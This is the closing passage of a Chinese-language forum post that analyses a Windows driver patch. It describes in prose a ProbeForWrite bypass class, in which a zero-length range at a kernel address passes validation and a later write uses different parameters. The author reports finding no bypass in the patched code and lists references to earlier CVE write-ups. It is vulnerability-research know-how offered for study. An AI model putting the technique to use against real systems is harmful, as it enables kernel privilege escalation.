- 验证阶段:在此阶段驱动程序使用 ProbeForWrite 函数来验证用户提供的内存范围是否为可写的用户模式地址。如果攻击者为 ProbeForWrite 提供一个地址为内核模式且大小为0的范围,由于大小为0,这次调用不会引发异常(因为实际上没有内存被访问或验证)。
- 使用阶段:尽管初始的内存范围验证看似成功,但驱动程序如果后续使用与初次验证不同的参数来执行相同的内核模式地址来进行写入,最后就能够达到绕过 ProbeForWrite 检查的效果。
但是当前补丁中无法直接控制该参数,并且在前面的判断中要求InputBufferLength
必须大于0x24,目前在这里没有找到绕过方法:
![image.png](https://cdn.nlark.com/yuque/0/2024/png/12719746/1718524539450-a06c3378-8709-4edf-9ba3-7cecf605c299.png#averageHue=%23e2fcde&clientId=u86bc8cdf-f6e2-4&from=paste&height=408&id=u98c7d871&originHeight=510&originWidth=937&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=55588&status=done&style=none&taskId=ud146f5ec-4de4-47f1-aa63-f86b8964d5d&title=&width=749.6)
总结
这是一个比较经典的漏洞类型,值得学习。如有问题,多多包涵,欢迎提出建议和意见。
参考链接
CVE-2018-8611 Exploiting Windows KTM Part 5/5 – Vulnerability detection and a better read/write primitive
Microsoft Windows Server 2003 SP2 本地提权(CVE-2014-4076)
MS08-066 : Catching and fixing a ProbeForRead / ProbeForWrite bypass
https://forum.butian.net/share/3101
最后于 3小时前
被bwner编辑
,原因: update